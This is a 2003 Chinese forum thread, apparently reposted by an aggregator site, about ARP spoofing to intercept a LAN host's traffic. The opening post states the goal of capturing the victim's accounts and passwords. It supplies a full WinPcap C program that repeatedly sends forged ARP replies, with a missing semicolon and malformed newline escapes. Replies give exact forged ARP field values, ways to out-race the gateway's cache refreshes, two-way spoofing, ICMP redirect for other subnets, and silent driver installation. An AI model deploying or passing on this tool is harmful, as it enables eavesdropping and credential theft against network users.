再谈利用ARP欺骗实现嗅探 (cool文一篇 回帖非常好)

来源:互联网 发布:双色球公式算法 编辑:程序博客网 时间:2024/05/16 13:03
nethorse
发表于:2003-12-10 14:11 回复
发帖: 47
积分: 0
注册: 2003-02-12
再谈利用ARP欺骗实现嗅探
设有主机A、B、C在同一个局域网中,且网关为G。A,C为要监听的主机,B为我们的机器。目前的大多数工具的实现是欺骗A和与A通信的主机C对方的MAC均为B,这样就可以监听它们的通信。但是实际上大多数情况下,我们感兴趣的是A与网关G的通信,而其中又尤其对A发出的一些信息感兴趣,譬如账号、密码,至于G又向A发送了什么数据,我们不太关心。
   那么在这种情况下,就没有必要欺骗网关G(告诉G,A的MAC为B)。只欺骗A主机,告诉它网关G的MAC为B。这样A,G之间的通信就成了这个样子:

A------->B------>G
A<----------------G

很明显,若A收发的数据相当,那么经过B的数据量几乎少了一半,当然也就节省了网络带宽和B主机的负担。

下面给出在xp+vc6.0平台且被欺骗主机也为xp时用WinPcap实现的代码(本机需开ip路由功能):

#include <stdlib.h>
#include <pcap.h>
#pragma comment(lib,"wpcap")

int main(int argc, char **argv)
{
     pcap_if_t * alldevs,
          * d;
    pcap_t *fp;
    char error[PCAP_ERRBUF_SIZE];
    u_char packet[60];
    int i=0,inum;

    /* Retrieve the device list */
    if (pcap_findalldevs(&alldevs, error) == -1)
    {
        fprintf(stderr,"Error in pcap_findalldevs: %s/n", error);
        exit(1);
    }

    /* Print the list */
    for(d=alldevs; d; d=d->next)
    {
        printf("%d. %s", ++i, d->name);
        if (d->description)
            printf(" (%s)/n", d->description);
        else
            printf(" (No description available)/n");
    }
    
    if(i==0)
    {
        printf("/nNo interfaces found! Make sure WinPcap is installed./n");
        return -1;
    }
    
    printf("Enter the interface number (1-%d):",i);
    scanf("%d", &inum);
    
    if(inum < 1 || inum > i)
    {
        printf("/nInterface number out of range./n");
        /* Free the device list */
        pcap_freealldevs(alldevs);
        return -1;
    }
    
    /* Jump to the selected adapter */
    for(d=alldevs, i=0; i< inum-1 ;d=d->next, i++);

    /* Open the output adapter */
    if((fp = pcap_open_live(d->name, 60, 1, 1000, error) ) == NULL)
    {
        fprintf(stderr,"/nError opening adapter: %s/n", error);
        return -1;
    }
    
    pcap_freealldevs(alldevs);
    
    /* mac of target you want to spoof */
    packet[0]=0x00;
    packet[1]=0x00;
    packet[2]=0x00;
    packet[3]=0x00;
    packet[4]=0x00;
    packet[5]=0x00;
    
    /* mac of your host */
    packet[6]=0x00;
    packet[7]=0x00;
    packet[8]=0x00;
    packet[9]=0x00;
    packet[10]=0x00;
    packet[11]=0x00;

    /* set the protocol type */
    packet[12]=8;
    packet[13]=6;

    /* set the hard and protocol type */
    packet[14]=0;
    packet[15]=1;
    packet[16]=8;
    packet[17]=0;

    /* set the length */
    packet[18]=6;
    packet[19]=4;    

    /* set the operation type */
    packet[20]=0;
    packet[21]=2;
    
    /* mac of your host */
    packet[22]=0x00;
    packet[23]=0x00;
    packet[24]=0x00;
    packet[25]=0x00;
    packet[26]=0x00;
    packet[27]=0x00;
    
    /* ip of the gateway */
    packet[28]=0;
    packet[29]=0;
    packet[30]=0;
    packet[31]=0;

    /* mac of the target you want to spoof */
    packet[32]=0x00;
    packet[33]=0x00;
    packet[34]=0x00;
    packet[35]=0x00;
    packet[36]=0x00;
    packet[37]=0x00;
    
    /* ip of the target you want to spoof */
    packet[38]=0
    packet[39]=0;
    packet[40]=0;
    packet[41]=0;

    /* Fill the rest of the packet */
    for(i=42;i<60;i++){
        packet[i]=0;
    
    }

    /* Send down the packet */
    while(1)
    {
        Sleep(2000);
        pcap_sendpacket(fp,packet,60);    
    }
    
    return 0;
}

附:
  对于怎样实现ARP欺骗,很可能不同的网络没有一定的法则可循。我用的是XPsp1专业版,对于arp reply若发送端不是网关则ip不更新arp缓存,而该程序正好是网关的ip。

nethorse 编辑于 2003-12-10 14:15
---
我没有笔记本电脑,我想有一台!
love1983
发表于:2003-12-11 03:30 回复
发帖: 163
积分: 0
注册: 2003-08-16
收藏学习ING
---
生活和学习要充满激情,否则你无法体会淋漓尽致的欢乐与痛苦
prfone
发表于:2003-12-11 08:25 回复
发帖: 812
积分: 0
注册: 2002-01-11
如果G----->A的通信频繁发生,那么A的ARP缓存中网关IP与MAC的对应关系会在IP<-->B的MAC与 IP<--->G的MAC之间不断的变化,导致A--->B--->G的通信也不是非常顺畅,
不知道你遇见过吗?
---
缘生缘灭缘自在。。。
nethorse
发表于:2003-12-11 08:43 回复
发帖: 47
积分: 0
注册: 2003-02-12
引用 (prfone @ 2003-12-11 08:25)
如果G----->A的通信频繁发生,那么A的ARP缓存中网关IP与MAC的对应关系会在IP<-->B的MAC与 IP<--->G的MAC之间不断的变化,导致A--->B--->G的通信也不是非常顺畅,
不知道你遇见过吗?

G---->A的正常通信并不会改变A的ARP缓存中网关IP与MAC的对应关系,除非G发送ARP请求。但是经过Sniffer发现(在我的局域网中,不同的局域网可能不同),G发送ARP请求并不太频繁,而且我们可以调节对A发包欺骗的间隔时间。
   就算这期间,A的ARP缓存中网关IP与MAC的对应关系会在IP<-->B的MAC与 IP<--->G的MAC之间不断的变化,由于arp只是链路层协议,对A和G之间的正常通信一点也没有影响。只是B偶尔会漏掉A发的几个数据报。
---
我没有笔记本电脑,我想有一台!
prfone
发表于:2003-12-11 09:24 回复
发帖: 812
积分: 0
注册: 2002-01-11
我的局域网网关是一个Linux PC,我发现他会非常频繁的发送ARP请求,不知道它的ARP缓存时间是不是没有作用,
不知道你的网关是什么系统?
---
缘生缘灭缘自在。。。
prfone
发表于:2003-12-11 09:34 回复
发帖: 812
积分: 0
注册: 2002-01-11
当整个局域网处于忙碌状态时,比如网关G需要解析另一台局域网机器D的MAC,G会广播ARP请求,这时A也会收到G的这个请求,A会比较目前G与MAC的对应关系,发现G的Ip--->B的MAC,则更新ARP缓存。这样以来,A的ARP缓冲中G的对应关系岂不是变换不定?
---
缘生缘灭缘自在。。。
xmhp
发表于:2003-12-12 09:45 回复
发帖: 79
积分: 0
注册: 2002-07-09
同一子网下,ARP欺骗可以成功。
但不同子网下如何ARP欺骗呀?
follow
发表于:2003-12-13 16:48 回复
发帖: 113
积分: 0
注册: 2003-01-04
据说可以配合ICMP重定向实现,你有时间可以试试.
---
小楼一夜听春雨,深巷明朝卖杏花.
yiedu
发表于:2003-12-17 13:49 回复
发帖: 446
积分: 0
注册: 2003-03-25
ARP欺骗的原理大家都知道,但是有些细节方面的问题大家都没有指出过,prfone 的问题就很典型,我也碰到过类似的问题。原因一直不清楚。说出来还希望大家多指点
模型还是上面的。
先在我已经成欺骗了A 并观察A 的缓存表中的G的MAC确实已经是我的(B)的MAC了,但是A用IE上网时B上并不能够捕获到A的数据包,不知道为什么?说明B已经设置为混杂模式。
可能的原因:A每当建立连接请求时就会向网关发送ARP请求,所以会立即改变缓存。即便我在B上欺骗的速度很快。
还有一个现象:当A向内网中的某个IP发送数据包时B却能够捕获到来字A的数据。而用IE上外网时却捕获不到,很奇怪?
---
留恋校园里的灯光,落叶,还有古老的吉他声。
曾经爱过又没有勇气向你表白的女孩,你现在还好吗?
prfone
发表于:2003-12-17 14:12 回复
发帖: 812
积分: 0
注册: 2002-01-11
yiedu,你的路由器是什么真正的路由器?Cisco的?你可以通过抓包分析A的ARP包情况!
---
缘生缘灭缘自在。。。
ffantasyYD
发表于:2003-12-17 16:49 回复
发帖: 61
积分: 0
注册: 2003-09-19
关注yiedu 的问题
---
重庆网络安全小组
虎盟网络安全小组
我的主页
xtiger
发表于:2003-12-17 18:04 回复
发帖: 139
积分: 0
注册: 2002-10-25
引用 (yiedu @ 2003-12-17 13:49)
ARP欺骗的原理大家都知道,但是有些细节方面的问题大家都没有指出过,prfone 的问题就很典型,我也碰到过类似的问题。原因一直不清楚。说出来还希望大家多指点

模型还是上面的。

先在我已经成欺骗了A 并观察A 的缓存表中的G的MAC确实已经是我的(B)的MAC了,但是A用IE上网时B上并不能够捕获到A的数据包,不知道为什么?说明B已经设置为混杂模式。

可能的原因:A每当建立连接请求时就会向网关发送ARP请求,所以会立即改变缓存。即便我在B上欺骗的速度很快。

还有一个现象:当A向内网中的某个IP发送数据包时B却能够捕获到来字A的数据。而用IE上外网时却捕获不到,很奇怪?
看个大概,好象遇到过类似的情况。折腾得半死。

真正的ARPSPOOF应该是全双工的,而不是半工的。
只有这样才能保证整个数据流的转发顺利。

而你叙述的现象,正好符合半工欺骗的现象。

xtiger 编辑于 2003-12-17 18:47
sparrow1
发表于:2003-12-17 20:21 回复
发帖: 52
积分: 0
注册: 2003-10-26
关注 yiedu 的问题,同时建议抓一下A的包,仔细分析原因所在。

另外,xtiger 所提到的全双工,是不是指双向的欺骗加转发?我觉得这样才可以保证数据通讯的完整性。
我没有具体试过,不过前两天看到这里首页上的《ARP协议揭密》才明白了一点,望指点……
isxiaobai
发表于:2003-12-18 01:25 回复
发帖: 40
积分: 0
注册: 2003-11-16
引用 (yiedu @ 2003-12-17 13:49)
ARP欺骗的原理大家都知道,但是有些细节方面的问题大家都没有指出过,prfone 的问题就很典型,我也碰到过类似的问题。原因一直不清楚。说出来还希望大家多指点

模型还是上面的。

先在我已经成欺骗了A 并观察A 的缓存表中的G的MAC确实已经是我的(B)的MAC了,但是A用IE上网时B上并不能够捕获到A的数据包,不知道为什么?说明B已经设置为混杂模式。

可能的原因:A每当建立连接请求时就会向网关发送ARP请求,所以会立即改变缓存。即便我在B上欺骗的速度很快。

还有一个现象:当A向内网中的某个IP发送数据包时B却能够捕获到来字A的数据。而用IE上外网时却捕获不到,很奇怪?


yiedu,就你的问题,我谈一下我的看法,
你的问题我曾经也碰到过,就是当成功欺骗一台主机和网关之后,
用sniff可以得到网关发送给主机的数据报,
可是得不到主机发出的数据报。
不过,后来我解决了。

其实,是这样的,出现这种情况肯定是你的程序有问题,
也就是你发送给主机的arp包有问题,
发送给目标主机的arp包应该是下面这种方式的:
首先是物理头:主机MAC  本机MAC  0806(ARP type)
然后是arp头,这个里面其他的不重要,我说一下其中的几个地址填写:
其中Sender's Hardware address为本机MAC,
    Sender's IP Address为网关IP  **(主要就是这个了)
      Target's Hardware address为目标主机MAC,
    Sender's IP Address为目标主机IP
只要这些填对了,那么就肯定能收到对方主机的所有数据包了。

而出现收不到主机发出的数据包的问题出现原因,
我想就是你程序的原因了。
我最先做的程序里面也是出现这个问题,
后来查了半天,通过iris抓arp包才发现的是填写出现了问题,
所以,发送给主机的arp包不能让它重定向,
而发送给网关的没有问题,所以,只能受到一部分数据报,就是网关发过来的。

建议你查看一下目标主机的arp列表,
看看,对应网关IP地址的那个物理地址是不是你的MAC,
如果不是,那就是没有欺骗成功,那就肯定是arp的问题。
我的想法就是这样了,
yiedu,如果你还是没有解决,可以跟我聊聊。

另外,说一下我的网络环境是:
一台思科Catalyst 1900交换机
两台主机都是windows 2K pro操作系统。
我的程序对网关和目标主机发送arp包。

花了两个小时调成功了arp欺骗的程序,
都两点了,看来真要搞的通宵了,呵呵


btw:xiaobai这个id还是没有找回来,只好用isxiaobai这个马甲来灌了,正好天冷,唉,亲爱的san啊,什么时候能找到你呢,我要我的id啊??

isxiaobai 编辑于 2003-12-18 02:26
isxiaobai
发表于:2003-12-18 02:32 回复
发帖: 40
积分: 0
注册: 2003-11-16
引用 (prfone @ 2003-12-11 09:24)
我的局域网网关是一个Linux PC,我发现他会非常频繁的发送ARP请求,不知道它的ARP缓存时间是不是没有作用,
不知道你的网关是什么系统?

老哥,我也想对你的说法提一点想法,
我也做了arp欺骗的程序了,
发现,对方主机只要收到这个arp-reply的包,
就会自动刷新自己的arp缓存,
当然,我说的都是2K系统,我是*nix盲,唉。

所以,不管你的网关刷新有多频繁,
你只要比它快,就可以保证目标主机始终通过你来发送数据。
只要你不停地发送arp包,让对方更新,就可以了。
关于arp包的格式,在上面回答yiedu的里面就写了。

顺便说一下,网上的好多arp程序都是有点问题的,
好多都会出现一些yiedu提到的问题,
你要仔细查一下发送出的arp包到底是不是我们想要的,
呵呵。
isxiaobai
发表于:2003-12-18 07:46 回复
发帖: 40
积分: 0
注册: 2003-11-16
借这个帖子,顺便问一下我碰到的问题吧,
我用winpcap实现了arp欺骗,成功了,
用iris也抓到了别欺骗主机的数据包。

由于我以前写过一个用sockraw实现的sniff工具,
所以,懒得再写代码了,就直接粘贴过来,
实际上就是用winpcap欺骗后,用sockraw来抓数据包,
可是,问题就出在这了,
没想到winpcap竟然和sockraw 冲突,
两个一同时运行就死机蓝屏。
请问各位,有没有遇到这种情况,怎么解决的??

顺便,还有一个问题,
就是winpcap,我怎么能做到用自己的程序来安装winpcap,
而不用执行它的图形化的安装程序呢?
narcissus
发表于:2003-12-18 08:35 回复
发帖: 5
积分: 0
注册: 2003-12-11
引用 (isxiaobai @ 2003-12-18 02:32)
所以,不管你的网关刷新有多频繁,
你只要比它快,就可以保证目标主机始终通过你来发送数据。
只要你不停地发送arp包,让对方更新,就可以了。

不管你的刷新有多快,中间毕竟还是有间隙的。如果正是在这个间隙收到网关的arp包,也正是在这个间隙中目标机发包,那岂不是欺骗失败。
---
我的意中人是个盖世英雄,有一天他会踩着七色的云彩来娶我,我猜中了前头,
可是我猜不着这结局……
isxiaobai
发表于:2003-12-18 08:47 回复
发帖: 40
积分: 0
注册: 2003-11-16
哎呀,间隙是肯定的啦,不过,这样只不过是一小段时间,
绝大部分的数据报我还是可以得到的啊,
况且,也根本不影响目标机啊,
arp缓存对目标机来说,也没有什么影响啊,
只不过是不用绕我这里而已
sparrow1
发表于:2003-12-18 10:06 回复
发帖: 52
积分: 0
注册: 2003-10-26
isxiaobai,你真的通宵了?注意身体呀!
isxiaobai
发表于:2003-12-18 10:14 回复
发帖: 40
积分: 0
注册: 2003-11-16
没关系,习惯了啊
prfone
发表于:2003-12-18 11:21 回复
发帖: 812
积分: 0
注册: 2002-01-11
1、直接使用Winpcap修改你的Sniffer得了。
2、我认为按照服务安装npf.sys驱动,把DLL拷贝到系统目录下,应该就可以了。
---
缘生缘灭缘自在。。。
原创粉丝点击